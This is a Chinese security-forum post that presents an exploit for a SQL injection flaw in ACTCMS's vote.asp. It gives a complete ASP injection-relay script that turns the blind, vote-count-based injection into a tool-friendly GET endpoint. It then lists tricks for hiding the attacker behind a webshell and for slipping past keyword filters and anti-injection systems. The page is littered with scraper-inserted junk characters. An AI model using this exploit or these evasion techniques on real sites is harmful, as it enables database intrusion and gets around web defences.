找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1953|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
; K% f0 X6 }% c' ]/ b) V! Q
看到ninty大牛的blog的一篇文章
4 V; X' c/ [9 l链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
& y6 Z* y4 m# a- s, S9 v7 c0 g% I关于actcms漏洞的利用  by 3x qq:381862589& r0 b& M' b9 j# p. q, @" e& Y
转载请注明以上
- ^$ L* B& m2 i) Z漏洞文件:
" f/ _0 O0 z! z5 K/plus/vote/vote.asp
* [% F; s) A7 k/ k* O' Z* j1 l代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    * Q! s: T0 r7 ]' @7 C' {* n0 b
, Q! C1 ?; U7 u
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   : I7 f9 [$ G+ U0 _

5 l! d6 N: z: E! F6 t) o3    response.end   
6 ?8 w7 E# d5 I6 K6 G8 q# c3 t: U% ]6 g9 X. H* P
4    end if    7 ~2 n  e" s* n& M1 O2 H, m+ r* p
) r% a; \5 u5 \' J+ }+ u0 [! O
5    for i=1 to request("voted").count   
5 Z' R* x4 p2 J" f0 @1 J% s2 n# Z# p+ r3 u# X: j$ d
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
" @. L. A- b& P( x% H- l( Y! [4 Y- f5 e1 ?7 B5 v3 h
7    next    0 \: R- [  }4 G3 Y

% C( y" o" y1 T1 \3 a  ~8....    ' ?8 i4 u/ x: i* [. j

8 X9 W/ A, d$ n! T! T9response.Redirect "index.asp?id="&id&""   / O/ G* z% z3 x- L6 z4 O8 r
投票结束回跳转回index.asp这个投票结果页面
3 _4 o6 K% E4 m9 J- Y7 m- x如果投票成功票数加1
2 D. T# M' s- Q) N$ O            失败票数不变1 Z/ |* F; L0 z6 \& B9 w9 b
如图:3 u7 U' H3 ?. x* {9 n# A
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)% H7 Q5 y6 l' o- O% ^) U
& {1 s; v- C* z: |3 \
2009-12-27 13:20
, k3 t1 b8 Z+ k0 ~2 m5 J0 j4 r9 P& `2 o# h; Y0 K$ W
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
4 {" \5 Q- ~& L" S9 ~; j7 }+ R( T& U, X1 r2 F& B- ~
本帖隐藏的内容需要回复才可以浏览# |7 H. F- w4 s% x
我们用注入中转来实现这个注入具体代码如下:
( p6 J" w* r- _先用寂寞的刺猬大牛的注入中转生成jmget.asp
; A* E+ S( y6 q1 k注入地址:http://localhost/actcms/plus/vote/vote.asp
% |/ H6 `, n4 g/ P9 e注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
" h! V, A  r+ q0 b: t# g) z& v4 b9 |+ G9 e" V, P; e
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% & E: E: }- A- D2 r1 K3 M2 J
8 e/ Z' d- L" x* U7 o
02JmdcwName=request("jmdcw") 7 [# V5 K. t4 @  o1 R. Q0 z9 ]
9 i1 R* l% R  r" T; O. N
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] - D; u+ }9 e- W/ a* C

( X7 I' o" s8 F% x# E  v4 }. n5 `) \6 A04JmStr="id=1&voted=-1 or 1="&JmdcwName
" f2 x1 p! N# u! P5 V% @0 h3 [' `0 D- Y
05JmStr=URLEncoding(JmStr) ; t+ o, B- V4 W8 q2 ^% @

) C& E4 h  P0 b5 ~0 i; B06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp", x" b" {! P% }% O: s

- F  L; u7 Y' U2 x( r& a2 `+ g  c07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
. k+ B3 j( O% L( P4 p3 w
+ {: S6 W, C* s1 L; z8 T- t3 e08testurl=testurl & "?" & JmStr
9 V' |- Y! |+ k+ }5 N- q: Q# M) y7 V9 E& o. y. ~
09JMUrl=JMUrl & "?" & JmStr
0 m- ~! p; a0 f7 J# S- S2 }* M. W9 }! h/ W3 q
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
: k6 @9 J8 W/ q- ~/ r
5 D# x* d9 [+ z9 |- N: m11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
! I% x4 f- W7 u2 `+ C  `
- a% a8 U5 }# U: ^; i/ q* E( i2 B12JmCok=replace(JmCok,chr(32),"%20")  
7 Z; ?3 F+ x% o- e8 g; e' b
+ c0 G* d  x$ D* k0 d13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 6 m) y: ?3 o# y3 W1 Y, v
6 M' `3 T% e7 f7 w: C8 J
14  # |+ F$ w! }  b* |, f1 D4 B
: p" k6 b! n" t, q- \% B
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 / C5 G) |9 ~4 H' c' T# z6 c
+ D5 L3 V' x) X; e& g: q
16  6 g( b8 T* ]) r

5 v# {9 m1 @- Y8 ^17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
2 c1 S' P- }3 T) n1 W6 V8 ]  {/ e8 z/ A' ]
18response.write test1&""&test2&""/ I' O3 q; ~- d* h" b2 d3 y& f
, Z- t- X- n9 V3 ^: l" |' c" v! T# T
19  1 m9 f# M, \3 W4 c

0 e- z* B, i5 s* |0 l20if test1=test2 then '如前后记录相等,表示失败
. F9 @0 v9 l% W) v4 |2 R. O- y; m; x2 x, l6 Z/ ]; t
21  response.write "failed", b2 A2 p( H1 s

7 n! m- E' F" O1 Z, a# w22else , m7 g9 c+ j* g0 V8 `7 }. T
1 s1 W9 M/ n' N( R1 p
23  response.write "succeed"
, I6 t+ R5 n! \4 z+ e& V. Y5 p# P2 u1 @
24end if  
& M( i$ A+ g* u
5 M; F7 K5 B, N5 [25  * I2 e; g: @9 W/ L. R' ^1 R; j8 ~: ?

3 v: u, g3 B$ R: k" |0 t, h26response.write "by 3x"1 K: p1 M7 |, o5 v4 c  ]

5 @4 u* M2 @' a3 `# i* W27  
3 }9 f3 v8 k& ]0 [1 C
6 |6 @8 e3 m6 v! m6 I2 C4 A4 I2 M  l28  
+ ?5 p# v6 u/ W7 O4 x
, ]: X1 F  ]2 j  P" e' {( F. ^29Function PostData(PostUrl,PostStr,PostCok,PostRef)     \( _! t' q- w8 E

6 k9 g. G' M6 n; N% i( a30Dim Http * I1 r9 ^/ S+ ]# p5 Q; Y5 X* C5 V. T
3 `" ^5 R% q9 x+ w& j
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
) Q5 j+ C+ {1 P% x: P7 m7 u9 {8 U1 [+ {, p. c! o
32With Http # U" _! L/ P: a  K2 ]4 y1 j
, v- n* z" Y& @
33  4 v& R1 P2 w. n( o) D

- _( x& y* y7 r1 E' y6 p4 q# M+ o34.Open "GET",PostUrl,False( D" O3 w2 [; ^, o# n

1 \6 B8 `/ a! w" C& |35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"# s+ C5 p$ l$ d9 y* n- I0 Q

! k  Q* B: c* T! p7 q36.SetRequestHeader "Referer",PostRef
1 s# r$ @% H: N" o+ t, V' x1 r! Z+ y( ~" A+ X( J* S5 n4 L9 k3 p& m
37.SetRequestHeader "Cookie",PostCok
5 _% p. e9 n+ ]4 ]
4 \/ h/ `9 R/ i7 k# \7 }38.Send () . a; d; ^2 t  I8 X  L! ]4 D

! q& L2 [9 G9 V! a3 f2 }# H39PostData = .ResponseBody - Z! M% p9 _0 S; g

# S( ~! A7 k( u% Y. E4 ]# q4 a40End With' K/ p* J4 f/ S# i
, N" p! f* d2 c6 V( o4 {
41Set Http = Nothing- g* v5 W7 H3 R9 p" }
  K& h. B, o) X
42PostData =bytes2BSTR(PostData)
0 x" T4 T/ b1 ~* }& v+ I
  P! Q' J* d5 a8 q, I1 ^' k43End Function
5 Z1 ^6 I2 ]1 q# m$ B3 M/ w* c" v+ b( @1 U8 r
44  
/ @$ s5 _" @2 ]! H) S. _
4 ^3 g$ b" `$ j# j45  " O0 X: X, |/ l. d0 h5 T$ R
9 n# B0 Y8 y4 ~! ^
46Function bytes2BSTR(vIn) 8 k4 L( c& S  r1 I2 Q

5 x* w9 ~5 P& N; M4 @" V# a47Dim strReturn . p6 G! R2 s6 u

$ C0 E0 F9 R$ b( y. P; T48Dim I, ThisCharCode, NextCharCode 8 s- {6 a# U+ e5 r9 |
8 U! Y" N' q; t- g/ s* d
49strReturn = ""
9 c9 d5 V7 p& u% G% h1 P8 z4 P, j# N! c
50For I = 1 To LenB(vIn)
7 ~8 Q* V: @1 N) E0 C9 L5 d, U% B* D! F+ x' F
51ThisCharCode = AscB(MidB(vIn, I, 1)) ; k/ w2 ]! N6 ]' q. Y

1 L! @" G4 p! ^0 J, h52If ThisCharCode < &H80 Then0 y( v' c4 Y7 D: H  ?* ?! \

- |8 j- U, C' C+ K1 u( L; [53strReturn = strReturn & Chr(ThisCharCode) / m7 Y6 m% ?8 U* \/ x: G5 g' m1 O

: w( ~! [  Y$ K, P54Else
# K5 U0 H9 k- a3 B* P" A( I
. R, n& j% t" M/ Y. R55NextCharCode = AscB(MidB(vIn, I + 1, 1))
+ m$ r# f+ [" {1 x# j. C4 e$ r5 e+ U5 D" j
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) , F" p6 `7 [% ]1 H/ L- S$ ~% x1 u6 C$ K

% M( E2 p+ E7 _! p* y57I = I + 1 % s+ N0 S/ c/ @  L5 b: c
4 W3 D6 n2 X9 b1 b' I
58End If
( g8 x7 d( B" v2 U6 @4 K! @$ U" D/ @! }' `5 B0 l1 K, N
59Next& A, D! K7 N# S

: _" b! V+ T7 C, N* _60bytes2BSTR = strReturn
: C6 U) |; x6 x7 q) T+ S+ q- [* H6 M5 M5 L, J
61End Function$ H& `, r  `4 W! ?# b

  ?! K+ V6 c0 Z+ K( y( X- ^) W5 Z- r62  # B3 O. ~  ?: t' F

9 [9 P% v5 \' U7 U63Function URLEncoding(vstrin)  6 J0 [2 A* t7 D- ?8 G" ~  Q

. M  [) U0 |2 A* f64strReturn=""
! U% q1 u& T% M( h
8 X5 @- ]5 P$ P" x! S" ~65Dim i
% x" c. z( G, D/ \4 d) i! C) r( n$ k$ Z5 h1 a# u' p* K8 W% m1 H
66For i=1 To Len(vstrin)
. \& w6 q* Y' I! q* L3 |* q" G* y- m+ ~& w; M  p7 p
67ThisChr=Mid(vstrin,i,1)
7 G3 f1 E7 F# y; U- w% f, [9 s2 y* U+ V
68if Abs(Asc(ThisChr))< &HFF Then
( f3 T2 w8 k) \7 Y" Q# Y/ c
  T4 h$ {" g7 S. ?- n69strReturn=strReturn & ThisChr - N4 P$ I5 x. ]. ?

0 s" Q. o7 ]7 [) P: Z70Else
" E. Q/ J/ _) F* R& W& O  ^; |0 z0 f& K
71InnerCode=Asc(ThisChr) ) F3 J+ c5 s3 K
! D' l# |; t9 [( ~1 h
72If InnerCode<0 Then# A9 {5 F& _) u. H9 n

. F- m0 b6 F2 V6 d. P3 }6 l- Y73InnerCode=InnerCode + &H10000
# X1 w; t1 J! ^6 J, N% R" |/ q; j8 d5 v; w' N
74End If
, l  I8 S/ [$ j# }4 z$ Y7 p9 V  k- p. k
75Hight1=(InnerCode And &HFF00) \&HFF
. G; y) S- p7 Q' E8 K/ N
! {- e3 S5 d2 ?2 _# r6 e76Low1=InnerCode And &HFF * P5 z% C, \* @! P" \% s

8 S; W! C  d, O9 U1 P77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) - M/ V, ]2 E; D: e/ b/ X6 x

+ t; `: U/ q# Y1 A8 @8 A! ^78End if
0 e) x$ H7 |1 k% S6 S5 ?5 G& U$ ]7 ~0 ^% h/ r0 Z' K! s
79Next) K. |, I* Y3 S8 t
6 L' B3 l9 N" }6 }
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 3 z8 A# Y! G% J
, e7 C6 {4 h( P$ q6 i$ C
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 9 j5 e. V8 X& Q
1 G6 D, t. D0 O7 R' g
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
- Z$ B0 W4 ?; ~4 t6 c" V9 O+ @0 F3 j1 U4 i' R8 N9 W
83URLEncoding=strReturn
3 P7 T0 y/ H6 E: r9 L, K6 K' O0 Y
* m0 w, W8 B; `$ [( ~; Q  g84End Function
, \! \  W0 Z/ [% Q/ f- t' C- Z- H$ H  c4 S& ]. H9 E
85  5 ]. R" E; R* k8 |# N0 d

  A) W0 e# R* J86function getSt(body) 2 V% R8 O5 N* O5 W, m( Q5 G* Q7 @

4 A: h# G& n0 J9 h87  startpot=instr(body,"投票人数:")+len("投票人数:") % l6 Q( @; ^& C: W
) J! z; b0 R8 x# z0 q1 C: l6 \
88  endpot=instr(startpot,body," ")
& y2 ?' M3 ^  ]. H& B( X7 ?
/ s1 t8 S8 D, p89  getSt=mid(body,startpot,endpot-startpot)
! y( i1 Z! I/ Q& ?$ t6 H- v( [- c
+ Q' s) l5 Q% [9 ]8 f* S90end function
0 O. X3 T9 h' I8 h/ I$ L( |/ \
, h5 {. c& ]. h* l% N91%>- w5 T9 p( r6 c! Z( R
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
8 D8 @- H3 z( F+ [3 V1 H测试下效果:
& d+ V: W2 ~9 ~- H3 B投票成功:
8 ^7 w$ k7 c4 q7 a: I: lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)  t. d4 [. A2 }* X4 O" b

( @) k, `0 {6 J. _# y2009-12-27 13:29
; U. T( W' a5 w! I" r投票失败9 `+ I7 E/ o$ P) x4 d0 D
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
7 A1 B" w5 x6 p# c; N* O# |1 ?/ Q9 ^4 d+ m$ b
2009-12-27 13:29
/ j# P, u) f0 h) W! a-------------------------------------------------------------------------------
% [& q; r% F' ^" }; t8 }& Z再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
, n4 X3 u* U9 C+ E+ p0 B很抱歉。。。只能用单线程工具去注入。。。。。
* i0 I; D+ F9 G' P7 W0 r; I所以失败。。。不好意思。。。; T$ N" h+ R, j4 C3 V. ~  f  P
-------------------------------------------------------------------------------
8 s' [# e- z- S& u4 P  @" C! x' F
注入中转的一些其他应用
/ X$ z. G- z/ [- i" P- T/ ]- a- v其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
; l7 p7 m# q% J4 t1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id8 }3 L4 |/ d* W/ h* c
2.post注入转成get型的注入,方便我们使用工具来跑! i$ @+ _, b4 W% w) R7 {
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")( S* b6 A! P3 V, m! r2 a, B. q
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过, [3 X1 @0 t+ J+ ?% C' s$ j

% C% w2 |: ~. G0 U* O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表